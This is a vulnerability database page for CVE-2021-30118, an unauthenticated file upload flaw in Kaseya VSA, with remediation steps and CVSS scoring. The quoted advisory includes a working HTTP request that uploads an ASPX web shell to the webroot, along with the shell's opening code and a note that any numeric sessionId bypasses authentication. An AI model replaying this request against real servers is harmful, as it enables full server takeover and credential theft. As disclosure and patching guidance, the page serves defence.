CVE-2021-30118
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedAn attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysisThe application accepts uploaded files without properly checking their type or content, so an attacker can upload something executable. If it lands where the server will run it, that is remote code execution. Remediating it means validating content rather than just the extension, storing uploads outside the web root, and never executing them.
General guidance for the unrestricted file upload class — the official description and references above are authoritative for this specific CVE. Want a bespoke review and a reviewed fix? Ask our team →
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data< 9.5.5CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Privileges
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
dbcve · scoped9.5.5
Kaseya VSA version 9.5.5 or later
- 1. Obtain the fixed version (Kaseya VSA 9.5.5 or later) from the official Kaseya download portal or vendor distribution channels
- 2. Create a complete backup of the current VSA installation including configuration files, databases, and custom settings
- 3. Test the upgrade in a non-production/staging environment before applying to production
- 4. Apply the upgrade to the Kaseya VSA server following the vendor's documented upgrade procedure
- 5. After upgrade completion, verify that the /SystemTab/uploader.aspx endpoint no longer accepts unauthenticated file uploads
- 6. Confirm the sessionId cookie is now properly validated and arbitrary file upload is no longer possible
- 7. Monitor the system for any anomalies and review audit logs for any exploitation attempts prior to patching
Generated from the published advisory — verify against the referenced sources before acting.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2021-30118 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2021-30118 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
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